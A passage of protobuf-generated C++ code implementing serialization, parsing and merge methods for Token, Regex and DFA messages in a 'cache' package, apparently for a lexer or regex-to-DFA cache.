::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
(void) cached_has_bits;
cached_has_bits = _has_bits_[0];
// required string token = 1;
if (cached_has_bits & 0x00000001u) {
::PROTOBUF_NAMESPACE_ID::internal::WireFormat::VerifyUTF8StringNamedField(
this->_internal_token().data(), static_cast<int>(this->_internal_token().length()),
::PROTOBUF_NAMESPACE_ID::internal::WireFormat::SERIALIZE,
"cache.Token.token");
target = stream->WriteStringMaybeAliased(
1, this->_internal_token(), target);
}
// required string lexeme = 2;
if (cached_has_bits & 0x00000002u) {
::PROTOBUF_NAMESPACE_ID::internal::WireFormat::VerifyUTF8StringNamedField(
this->_internal_lexeme().data(), static_cast<int>(this->_internal_lexeme().length()),
::PROTOBUF_NAMESPACE_ID::internal::WireFormat::SERIALIZE,
"cache.Token.lexeme");
target = stream->WriteStringMaybeAliased(
2, this->_internal_lexeme(), target);
}
// required uint32 type = 3;
if (cached_has_bits & 0x00000004u) {
target = stream->EnsureSpace(target);
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::WriteUInt32ToArray(3, this->_internal_type(), target);
}
if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) {
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormat::InternalSerializeUnknownFieldsToArray(
_internal_metadata_.unknown_fields<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(::PROTOBUF_NAMESPACE_ID::UnknownFieldSet::default_instance), target, stream);
}
// @@protoc_insertion_point(serialize_to_array_end:cache.Token)
return target;
}
size_t Token::RequiredFieldsByteSizeFallback() const {
// @@protoc_insertion_point(required_fields_byte_size_fallback_start:cache.Token)
size_t total_size = 0;
if (_internal_has_token()) {
// required string token = 1;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize(
this->_internal_token());
}
if (_internal_has_lexeme()) {
// required string lexeme = 2;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize(
this->_internal_lexeme());
}
if (_internal_has_type()) {
// required uint32 type = 3;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::UInt32Size(
this->_internal_type());
}
return total_size;
}
size_t Token::ByteSizeLong() const {
// @@protoc_insertion_point(message_byte_size_start:cache.Token)
size_t total_size = 0;
if (((_has_bits_[0] & 0x00000007) ^ 0x00000007) == 0) { // All required fields are present.
// required string token = 1;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize(
this->_internal_token());
// required string lexeme = 2;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize(
this->_internal_lexeme());
// required uint32 type = 3;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::UInt32Size(
this->_internal_type());
} else {
total_size += RequiredFieldsByteSizeFallback();
}
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
// Prevent compiler warnings about cached_has_bits being unused
(void) cached_has_bits;
if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) {
return ::PROTOBUF_NAMESPACE_ID::internal::ComputeUnknownFieldsSize(
_internal_metadata_, total_size, &_cached_size_);
}
int cached_size = ::PROTOBUF_NAMESPACE_ID::internal::ToCachedSize(total_size);
SetCachedSize(cached_size);
return total_size;
}
void Token::MergeFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) {
// @@protoc_insertion_point(generalized_merge_from_start:cache.Token)
GOOGLE_DCHECK_NE(&from, this);
const Token* source =
::PROTOBUF_NAMESPACE_ID::DynamicCastToGenerated<Token>(
&from);
if (source == nullptr) {
// @@protoc_insertion_point(generalized_merge_from_cast_fail:cache.Token)
::PROTOBUF_NAMESPACE_ID::internal::ReflectionOps::Merge(from, this);
} else {
// @@protoc_insertion_point(generalized_merge_from_cast_success:cache.Token)
MergeFrom(*source);
}
}
void Token::MergeFrom(const Token& from) {
// @@protoc_insertion_point(class_specific_merge_from_start:cache.Token)
GOOGLE_DCHECK_NE(&from, this);
_internal_metadata_.MergeFrom<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(from._internal_metadata_);
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
(void) cached_has_bits;
cached_has_bits = from._has_bits_[0];
if (cached_has_bits & 0x00000007u) {
if (cached_has_bits & 0x00000001u) {
_internal_set_token(from._internal_token());
}
if (cached_has_bits & 0x00000002u) {
_internal_set_lexeme(from._internal_lexeme());
}
if (cached_has_bits & 0x00000004u) {
type_ = from.type_;
}
_has_bits_[0] |= cached_has_bits;
}
}
void Token::CopyFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) {
// @@protoc_insertion_point(generalized_copy_from_start:cache.Token)
if (&from == this) return;
Clear();
MergeFrom(from);
}
void Token::CopyFrom(const Token& from) {
// @@protoc_insertion_point(class_specific_copy_from_start:cache.Token)
if (&from == this) return;
Clear();
MergeFrom(from);
}
bool Token::IsInitialized() const {
if (_Internal::MissingRequiredFields(_has_bits_)) return false;
return true;
}
void Token::InternalSwap(Token* other) {
using std::swap;
_internal_metadata_.Swap<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(&other->_internal_metadata_);
swap(_has_bits_[0], other->_has_bits_[0]);
token_.Swap(&other->token_, &::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), GetArena());
lexeme_.Swap(&other->lexeme_, &::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), GetArena());
swap(type_, other->type_);
}
::PROTOBUF_NAMESPACE_ID::Metadata Token::GetMetadata() const {
return GetMetadataStatic();
}
// ===================================================================
class Regex::_Internal {
public:
using HasBits = decltype(std::declval<Regex>()._has_bits_);
static const ::cache::DFA& dfa(const Regex* msg);
static void set_has_dfa(HasBits* has_bits) {
(*has_bits)[0] |= 2u;
}
static void set_has_expression(HasBits* has_bits) {
(*has_bits)[0] |= 1u;
}
static bool MissingRequiredFields(const HasBits& has_bits) {
return ((has_bits[0] & 0x00000003) ^ 0x00000003) != 0;
}
};
const ::cache::DFA&
Regex::_Internal::dfa(const Regex* msg) {
return *msg->dfa_;
}
Regex::Regex(::PROTOBUF_NAMESPACE_ID::Arena* arena)
: ::PROTOBUF_NAMESPACE_ID::Message(arena) {
SharedCtor();
RegisterArenaDtor(arena);
// @@protoc_insertion_point(arena_constructor:cache.Regex)
}
Regex::Regex(const Regex& from)
: ::PROTOBUF_NAMESPACE_ID::Message(),
_has_bits_(from._has_bits_) {
_internal_metadata_.MergeFrom<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(from._internal_metadata_);
expression_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited());
if (from._internal_has_expression()) {
expression_.Set(::PROTOBUF_NAMESPACE_ID::internal::ArenaStringPtr::EmptyDefault{}, from._internal_expression(),
GetArena());
}
if (from._internal_has_dfa()) {
dfa_ = new ::cache::DFA(*from.dfa_);
} else {
dfa_ = nullptr;
}
// @@protoc_insertion_point(copy_constructor:cache.Regex)
}
void Regex::SharedCtor() {
::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&scc_info_Regex_Cache_2eproto.base);
expression_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited());
dfa_ = nullptr;
}
Regex::~Regex() {
// @@protoc_insertion_point(destructor:cache.Regex)
SharedDtor();
_internal_metadata_.Delete<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>();
}
void Regex::SharedDtor() {
GOOGLE_DCHECK(GetArena() == nullptr);
expression_.DestroyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited());
if (this != internal_default_instance()) delete dfa_;
}
void Regex::ArenaDtor(void* object) {
Regex* _this = reinterpret_cast< Regex* >(object);
(void)_this;
}
void Regex::RegisterArenaDtor(::PROTOBUF_NAMESPACE_ID::Arena*) {
}
void Regex::SetCachedSize(int size) const {
_cached_size_.Set(size);
}
const Regex& Regex::default_instance() {
::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&::scc_info_Regex_Cache_2eproto.base);
return *internal_default_instance();
}
void Regex::Clear() {
// @@protoc_insertion_point(message_clear_start:cache.Regex)
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
// Prevent compiler warnings about cached_has_bits being unused
(void) cached_has_bits;
cached_has_bits = _has_bits_[0];
if (cached_has_bits & 0x00000003u) {
if (cached_has_bits & 0x00000001u) {
expression_.ClearNonDefaultToEmpty();
}
if (cached_has_bits & 0x00000002u) {
GOOGLE_DCHECK(dfa_ != nullptr);
dfa_->Clear();
}
}
_has_bits_.Clear();
_internal_metadata_.Clear<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>();
}
const char* Regex::_InternalParse(const char* ptr, ::PROTOBUF_NAMESPACE_ID::internal::ParseContext* ctx) {
#define CHK_(x) if (PROTOBUF_PREDICT_FALSE(!(x))) goto failure
_Internal::HasBits has_bits{};
while (!ctx->Done(&ptr)) {
::PROTOBUF_NAMESPACE_ID::uint32 tag;
ptr = ::PROTOBUF_NAMESPACE_ID::internal::ReadTag(ptr, &tag);
CHK_(ptr);
switch (tag >> 3) {
// required .cache.DFA dfa = 1;
case 1:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 10)) {
ptr = ctx->ParseMessage(_internal_mutable_dfa(), ptr);
CHK_(ptr);
} else goto handle_unusual;
continue;
// required string expression = 2;
case 2:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 18)) {
auto str = _internal_mutable_expression();
ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParser(str, ptr, ctx);
#ifndef NDEBUG
::PROTOBUF_NAMESPACE_ID::internal::VerifyUTF8(str, "cache.Regex.expression");
#endif // !NDEBUG
CHK_(ptr);
} else goto handle_unusual;
continue;
default: {
handle_unusual:
if ((tag & 7) == 4 || tag == 0) {
ctx->SetLastTag(tag);
goto success;
}
ptr = UnknownFieldParse(tag,
_internal_metadata_.mutable_unknown_fields<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(),
ptr, ctx);
CHK_(ptr != nullptr);
continue;
}
} // switch
} // while
success:
_has_bits_.Or(has_bits);
return ptr;
failure:
ptr = nullptr;
goto success;
#undef CHK_
}
::PROTOBUF_NAMESPACE_ID::uint8* Regex::_InternalSerialize(
::PROTOBUF_NAMESPACE_ID::uint8* target, ::PROTOBUF_NAMESPACE_ID::io::EpsCopyOutputStream* stream) const {
// @@protoc_insertion_point(serialize_to_array_start:cache.Regex)
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
(void) cached_has_bits;
cached_has_bits = _has_bits_[0];
// required .cache.DFA dfa = 1;
if (cached_has_bits & 0x00000002u) {
target = stream->EnsureSpace(target);
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::
InternalWriteMessage(
1, _Internal::dfa(this), target, stream);
}
// required string expression = 2;
if (cached_has_bits & 0x00000001u) {
::PROTOBUF_NAMESPACE_ID::internal::WireFormat::VerifyUTF8StringNamedField(
this->_internal_expression().data(), static_cast<int>(this->_internal_expression().length()),
::PROTOBUF_NAMESPACE_ID::internal::WireFormat::SERIALIZE,
"cache.Regex.expression");
target = stream->WriteStringMaybeAliased(
2, this->_internal_expression(), target);
}
if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) {
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormat::InternalSerializeUnknownFieldsToArray(
_internal_metadata_.unknown_fields<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(::PROTOBUF_NAMESPACE_ID::UnknownFieldSet::default_instance), target, stream);
}
// @@protoc_insertion_point(serialize_to_array_end:cache.Regex)
return target;
}
size_t Regex::RequiredFieldsByteSizeFallback() const {
// @@protoc_insertion_point(required_fields_byte_size_fallback_start:cache.Regex)
size_t total_size = 0;
if (_internal_has_expression()) {
// required string expression = 2;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize(
this->_internal_expression());
}
if (_internal_has_dfa()) {
// required .cache.DFA dfa = 1;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::MessageSize(
*dfa_);
}
return total_size;
}
size_t Regex::ByteSizeLong() const {
// @@protoc_insertion_point(message_byte_size_start:cache.Regex)
size_t total_size = 0;
if (((_has_bits_[0] & 0x00000003) ^ 0x00000003) == 0) { // All required fields are present.
// required string expression = 2;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize(
this->_internal_expression());
// required .cache.DFA dfa = 1;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::MessageSize(
*dfa_);
} else {
total_size += RequiredFieldsByteSizeFallback();
}
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
// Prevent compiler warnings about cached_has_bits being unused
(void) cached_has_bits;
if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) {
return ::PROTOBUF_NAMESPACE_ID::internal::ComputeUnknownFieldsSize(
_internal_metadata_, total_size, &_cached_size_);
}
int cached_size = ::PROTOBUF_NAMESPACE_ID::internal::ToCachedSize(total_size);
SetCachedSize(cached_size);
return total_size;
}
void Regex::MergeFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) {
// @@protoc_insertion_point(generalized_merge_from_start:cache.Regex)
GOOGLE_DCHECK_NE(&from, this);
const Regex* source =
::PROTOBUF_NAMESPACE_ID::DynamicCastToGenerated<Regex>(
&from);
if (source == nullptr) {
// @@protoc_insertion_point(generalized_merge_from_cast_fail:cache.Regex)
::PROTOBUF_NAMESPACE_ID::internal::ReflectionOps::Merge(from, this);
} else {
// @@protoc_insertion_point(generalized_merge_from_cast_success:cache.Regex)
MergeFrom(*source);
}
}
void Regex::MergeFrom(const Regex& from) {
// @@protoc_insertion_point(class_specific_merge_from_start:cache.Regex)
GOOGLE_DCHECK_NE(&from, this);
_internal_metadata_.MergeFrom<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(from._internal_metadata_);
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
(void) cached_has_bits;
cached_has_bits = from._has_bits_[0];
if (cached_has_bits & 0x00000003u) {
if (cached_has_bits & 0x00000001u) {
_internal_set_expression(from._internal_expression());
}
if (cached_has_bits & 0x00000002u) {
_internal_mutable_dfa()->::cache::DFA::MergeFrom(from._internal_dfa());
}
}
}
void Regex::CopyFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) {
// @@protoc_insertion_point(generalized_copy_from_start:cache.Regex)
if (&from == this) return;
Clear();
MergeFrom(from);
}
void Regex::CopyFrom(const Regex& from) {
// @@protoc_insertion_point(class_specific_copy_from_start:cache.Regex)
if (&from == this) return;
Clear();
MergeFrom(from);
}
bool Regex::IsInitialized() const {
if (_Internal::MissingRequiredFields(_has_bits_)) return false;
if (_internal_has_dfa()) {
if (!dfa_->IsInitialized()) return false;
}
return true;
}
void Regex::InternalSwap(Regex* other) {
using std::swap;
_internal_metadata_.Swap<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(&other->_internal_metadata_);
swap(_has_bits_[0], other->_has_bits_[0]);
expression_.Swap(&other->expression_, &::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), GetArena());
swap(dfa_, other->dfa_);
}
::PROTOBUF_NAMESPACE_ID::Metadata Regex::GetMetadata() const {
return GetMetadataStatic();
}
// ===================================================================
class DFA::_Internal {
public:
using HasBits = decltype(std::declval<DFA>()._has_bits_);
static void set_has_states(HasBits* has_bits) {
(*has_bits)[0] |= 1u;
}
static void set_has_initial(HasBits* has_bits) {
(*has_bits)[0] |= 2u;
}
static bool MissingRequiredFields(const HasBits& has_bits) {
return ((has_bits[0] & 0x00000003) ^ 0x00000003) != 0;
}
};
DFA::DFA(::PROTOBUF_NAMESPACE_ID::Arena* arena)
: ::PROTOBUF_NAMESPACE_ID::Message(arena),
alphabet_(arena),
final_s_(arena),
alpha_index_(arena),
transitions_(arena) {
SharedCtor();
RegisterArenaDtor(arena);
// @@protoc_insertion_point(arena_constructor:cache.DFA)
}
DFA::DFA(const DFA& from)
: ::PROTOBUF_NAMESPACE_ID::Message(),
_has_bits_(from._has_bits_),
alphabet_(from.alphabet_),
final_s_(from.final_s_),
alpha_index_(from.alpha_index_),
transitions_(from.transitions_) {
_internal_metadata_.MergeFrom<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(from._internal_metadata_);
::memcpy(&states_, &from.states_,
static_cast<size_t>(reinterpret_cast<char*>(&initial_) -
reinterpret_cast<char*>(&states_)) + sizeof(initial_));
// @@protoc_insertion_point(copy_constructor:cache.DFA)
}
void DFA::SharedCtor() {
::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&scc_info_DFA_Cache_2eproto.base);
::memset(reinterpret_cast<char*>(this) + static_cast<size_t>(
reinterpret_cast<char*>(&states_) - reinterpret_cast<char*>(this)),
0, static_cast<size_t>(reinterpret_cast<char*>(&initial_) -
reinterpret_cast<char*>(&states_)) + sizeof(initial_));
}
DFA::~DFA() {
// @@protoc_insertion_point(destructor:cache.DFA)
SharedDtor();
_internal_metadata_.Delete<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>();
}
void DFA::SharedDtor() {
GOOGLE_DCHECK(GetArena() == nullptr);
}
void DFA::ArenaDtor(void* object) {
DFA* _this = reinterpret_cast< DFA* >(object);
(void)_this;
}
void DFA::RegisterArenaDtor(::PROTOBUF_NAMESPACE_ID::Arena*) {
}
void DFA::SetCachedSize(int size) const {
_cached_size_.Set(size);
}
const DFA& DFA::default_instance() {
::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&::scc_info_DFA_Cache_2eproto.base);
return *internal_default_instance();
}
void DFA::Clear() {
// @@protoc_insertion_point(message_clear_start:cache.DFA)
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
// Prevent compiler warnings about cached_has_bits being unused
(void) cached_has_bits;
alphabet_.Clear();
final_s_.Clear();
alpha_index_.Clear();
transitions_.Clear();
cached_has_bits = _has_bits_[0];
if (cached_has_bits & 0x00000003u) {
::memset(&states_, 0, static_cast<size_t>(
reinterpret_cast<char*>(&initial_) -
reinterpret_cast<char*>(&states_)) + sizeof(initial_));
}
_has_bits_.Clear();
_internal_metadata_.Clear<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>();
}
const char* DFA::_InternalParse(const char* ptr, ::PROTOBUF_NAMESPACE_ID::internal::ParseContext* ctx) {
#define CHK_(x) if (PROTOBUF_PREDICT_FALSE(!(x))) goto failure
_Internal::HasBits has_bits{};
while (!ctx->Done(&ptr)) {
::PROTOBUF_NAMESPACE_ID::uint32 tag;
ptr = ::PROTOBUF_NAMESPACE_ID::internal::ReadTag(ptr, &tag);
CHK_(ptr);
switch (tag >> 3) {
// required uint32 states = 1;
case 1:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 8)) {
_Internal::set_has_states(&has_bits);
states_ = ::PROTOBUF_NAMESPACE_ID::internal::ReadVarint32(&ptr);
CHK_(ptr);
} else goto handle_unusual;
continue;
// required uint32 initial = 2;
case 2:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 16)) {
_Internal::set_has_initial(&has_bits);
initial_ = ::PROTOBUF_NAMESPACE_ID::internal::ReadVarint32(&ptr);
CHK_(ptr);
} else goto handle_unusual;
continue;
// repeated uint32 alphabet = 3;
case 3:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 24)) {
ptr -= 1;
do {
ptr += 1;
_internal_add_alphabet(::PROTOBUF_NAMESPACE_ID::internal::ReadVarint32(&ptr));
CHK_(ptr);
if (!ctx->DataAvailable(ptr)) break;
} while (::PROTOBUF_NAMESPACE_ID::internal::ExpectTag<24>(ptr));
} else if (static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 26) {
ptr = ::PROTOBUF_NAMESPACE_ID::internal::PackedUInt32Parser(_internal_mutable_alphabet(), ptr, ctx);
CHK_(ptr);
} else goto handle_unusual;
continue;
// repeated uint32 final_s = 4;
case 4:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 32)) {
ptr -= 1;
do {
ptr += 1;
_internal_add_final_s(::PROTOBUF_NAMESPACE_ID::internal::ReadVarint32(&ptr));
CHK_(ptr);
if (!ctx->DataAvailable(ptr)) break;
} while (::PROTOBUF_NAMESPACE_ID::internal::ExpectTag<32>(ptr));
} else if (static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 34) {
ptr = ::PROTOBUF_NAMESPACE_ID::internal::PackedUInt32Parser(_internal_mutable_final_s(), ptr, ctx);
CHK_(ptr);
} else goto handle_unusual;
continue;
// repeated .cache.Pair alpha_index = 5;
case 5:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 42)) {
ptr -= 1;
do {
ptr += 1;
ptr = ctx->ParseMessage(_internal_add_alpha_index(), ptr);
CHK_(ptr);
if (!ctx->DataAvailable(ptr)) break;
} while (::PROTOBUF_NAMESPACE_ID::internal::ExpectTag<42>(ptr));
} else goto handle_unusual;
continue;
// repeated .cache.V_2D transitions = 6;
case 6:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 50)) {
ptr -= 1;
do {
ptr += 1;
ptr = ctx->ParseMessage(_internal_add_transitions(), ptr);
CHK_(ptr);
if (!ctx->DataAvailable(ptr)) break;
} while (::PROTOBUF_NAMESPACE_ID::internal::ExpectTag<50>(ptr));
} else goto handle_unusual;
continue;
default: {
handle_unusual:
if ((tag & 7) == 4 || tag == 0) {
ctx->SetLastTag(tag);
goto success;
}
ptr = UnknownFieldParse(tag,
_internal_metadata_.mutable_unknown_fields<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(),
ptr, ctx);
CHK_(ptr != nullptr);
continue;
}
} // switch
} // while
success:
_has_bits_.Or(has_bits);
return ptr;
failure:
ptr = nullptr;
goto success;
#undef CHK_
}
::PROTOBUF_NAMESPACE_ID::uint8* DFA::_InternalSerialize(
::PROTOBUF_NAMESPACE_ID::uint8* target, ::PROTOBUF_NAMESPACE_ID::io::EpsCopyOutputStream* stream) const {
// @@protoc_insertion_point(serialize_to_array_start:cache.DFA)
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
(void) cached_has_bits;
cached_has_bits = _has_bits_[0];
// required uint32 states = 1;
if (cached_has_bits & 0x00000001u) {
target = stream->EnsureSpace(target);
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::WriteUInt32ToArray(1, this->_internal_states(), target);
}
// required uint32 initial = 2;
if (cached_has_bits & 0x00000002u) {
target = stream->EnsureSpace(target);
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::WriteUInt32ToArray(2, this->_internal_initial(), target);
}
// repeated uint32 alphabet = 3;
for (int i = 0, n = this->_internal_alphabet_size(); i < n; i++) {
target = stream->EnsureSpace(target);
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::WriteUInt32ToArray(3, this->_internal_alphabet(i), target);
}
// repeated uint32 final_s = 4;
for (int i = 0, n = this->_internal_final_s_size(); i < n; i++) {
target = stream->EnsureSpace(target);
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::WriteUInt32ToArray(4, this->_internal_final_s(i), target);
}
// repeated .cache.Pair alpha_index = 5;
for (unsigned int i = 0,
n = static_cast<unsigned int>(this->_internal_alpha_index_size()); i < n; i++) {
target = stream->EnsureSpace(target);
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::
InternalWriteMessage(5, this->_internal_alpha_index(i), target, stream);
}
// repeated .cache.V_2D transitions = 6;
for (unsigned int i = 0,
n = static_cast<unsigned int>(this->_internal_transitions_size()); i < n; i++) {
target = stream->EnsureSpace(target);
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::
InternalWriteMessage(6, this->_internal_transitions(i), target, stream);
}
if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) {
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormat::InternalSerializeUnknownFieldsToArray(
_internal_metadata_.unknown_fields<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(::PROTOBUF_NAMESPACE_ID::UnknownFieldSet::default_instance), target, stream);
}
// @@protoc_insertion_point(serialize_to_array_end:cache.DFA)
return target;
}
size_t DFA::RequiredFieldsByteSizeFallback() const {
// @@protoc_insertion_point(required_fields_byte_size_fallback_start:cache.DFA)
size_t total_size = 0;
if (_internal_has_states()) {
// required uint32 states = 1;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::UInt32Size(
this->_internal_states());
}
if (_internal_has_initial()) {
// required uint32 initial = 2;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::UInt32Size(
this->_internal_initial());
}
return total_size;
}
size_t DFA::ByteSizeLong() const {
// @@protoc_insertion_point(message_byte_size_start:cache.DFA)
size_t total_size = 0;
if (((_has_bits_[0] & 0x00000003) ^ 0x00000003) == 0) { // All required fields are present.
// required uint32 states = 1;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::UInt32Size(
this->_internal_states());
// required uint32 initial = 2;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::UInt32Size(
this->_internal_initial());
} else {
total_size += RequiredFieldsByteSizeFallback();
}
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
// Prevent compiler warnings about cached_has_bits being unused
(void) cached_has_bits;
// repeated uint32 alphabet = 3;
{
size_t data_size = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::
UInt32Size(this->alphabet_);
total_size += 1 *
::PROTOBUF_NAMESPACE_ID::internal::FromIntSize(this->_internal_alphabet_size());
total_size += data_size;
}
// repeated uint32 final_s = 4;
{
size_t data_size = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::
UInt32Size(this->final_s_);
total_size += 1 *
::PROTOBUF_NAMESPACE_ID::internal::FromIntSize(this->_internal_final_s_size());
total_size += data_size;
}
// repeated .cache.Pair alpha_index = 5;
total_size += 1UL * this->_internal_alpha_index_size();
for (const auto& msg : this->alpha_index_) {
total_size +=
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::MessageSize(msg);
}
// repeated .cache.V_2D transitions = 6;
total_size += 1UL * this->_internal_transitions_size();
for (const auto& msg : this->transitions_) {
total_size +=
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::MessageSize(msg);
}
if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) {
return ::PROTOBUF_NAMESPACE_ID::internal::ComputeUnknownFieldsSize(
_internal_metadata_, total_size, &_cached_size_);
}
int cached_size = ::PROTOBUF_NAMESPACE_ID::internal::ToCachedSize(total_size);
SetCachedSize(cached_size);
return total_size;
}
void DFA::MergeFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) {
// @@protoc_insertion_point(generalized_merge_from_start:cache.DFA)
GOOGLE_DCHECK_NE(&from, this);
const DFA* source =
::PROTOBUF_NAMESPACE_ID::DynamicCastToGenerated<DFA>(
&from);
if (source == nullptr) {
// @@protoc_insertion_point(generalized_merge_from_cast_fail:cache.DFA)
::PROTOBUF_NAMESPACE_ID::internal::ReflectionOps::Merge(from, this);
} else {
// @@protoc_insertion_point(generalized_merge_from_cast_success:cache.DFA)
MergeFrom(*source);
}
}
void DFA::MergeFrom(const DFA& from) {
// @@protoc_insertion_point(class_specific_merge_from_start:cache.DFA)
GOOGLE_DCHECK_NE(&from, this);
_internal_metadata_.MergeFrom<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(from._internal_metadata_);
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
(void) cached_has_bits;
alphabet_.MergeFrom(from.alphabet_);
final_s_.MergeFrom(from.final_s_);
alpha_index_.MergeFrom(from.alpha_index_);
transitions_.MergeFrom(from.transitions_);
cached_has_bits = from._has_bits_[0];
if (cached_has_bits & 0x00000003u) {
if (cached_has_bits & 0x00000001u) {
states_ = from.states_;
}
if (cached_has_bits & 0x00000002u) {
initial_ = from.initial_;
}
_has_bits_[0] |= cached_has_bits;
}
}
void DFA::CopyFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) {
// @@protoc_insertion_point(generalized_copy_from_start:cache.DFA)
if (&from == this) return;
Clear();
MergeFrom(from);
}
void DFA::CopyFrom(const DFA& from) {
// @@protoc_insertion_point(class_specific_copy_from_start:cache.DFA)
if (&from == this) return;
Clear();
MergeFrom(from);
}
bool DFA::IsInitialized() const {
if (_Internal::MissingRequiredFields(_has_bits_)) return false;
if (!::PROTOBUF_NAMESPACE_ID::internal::AllAreInitialized(alpha_index_)) return false;
return true;
}
void DFA::InternalSwap(DFA* other) {
using std::swap;
_internal_metadata_.Swap<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(&other->_internal_metadata_);
swap(_has_bits_[0], other->_has_bits_[0]);
alphabet_.InternalSwap(&other->alphabet_);
final_s_.InternalSwap(&other->final_s_);
alpha_index_.InternalSwap(&other->alpha_index_);
transitions_.InternalSwap(&other->transitions_);
::PROTOBUF_NAMESPACE_ID::internal::memswap<
